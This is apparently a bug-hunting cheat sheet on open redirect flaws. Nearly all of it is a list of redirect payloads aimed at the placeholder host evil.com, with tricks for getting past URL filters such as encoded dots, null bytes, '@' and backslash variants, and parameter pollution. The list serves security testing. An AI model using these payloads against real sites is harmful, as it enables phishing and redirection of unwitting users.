Open Redirect
Where to find
Sometimes it can be found in login / register / logout pages
Checking the javascript source code
How to exploit
Try change the domain
/?redir=evil.comUsing a whitelisted domain or keyword
/?redir=target.com.evil.comUsing
//to bypasshttpblacklisted keyword
/?redir=//evil.comUsing
https:to bypass//blacklisted keyword
/?redir=https:evil.comUsing
\\to bypass//blacklisted keyword
/?redir=\\evil.comUsing
\/\/to bypass//blacklisted keyword
/?redir=\/\/evil.com/
/?redir=/\/evil.com/Using
%E3%80%82to bypass.blacklisted character
/?redir=evil。com
/?redir=evil%E3%80%82comUsing null byte
%00to bypass blacklist filter
/?redir=//evil%00.comUsing parameter pollution
/?next=target.com&next=evil.comUsing
@or%40character, browser will redirect to anything after the@
/?redir=target.com@evil.com
/?redir=target.com%40evil.comCreating folder as their domain
http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.comUsing
?characted, browser will translate it to/?
/?redir=target.com?evil.comBypass the filter if it only checks for domain name using
%23
/?redir=target.com%23evil.comHost/Split Unicode Normalization
https://evil.c℀.example.comUsing parsing
http://ⓔⓥⓘⓛ.ⓒⓞⓜUsing
°symbol to bypass
/?redir=target.com/°evil.comBypass the filter if it only allows yoou to control the path using a nullbyte
%0dor%0a
/?redir=/%0d/evil.com
Last updated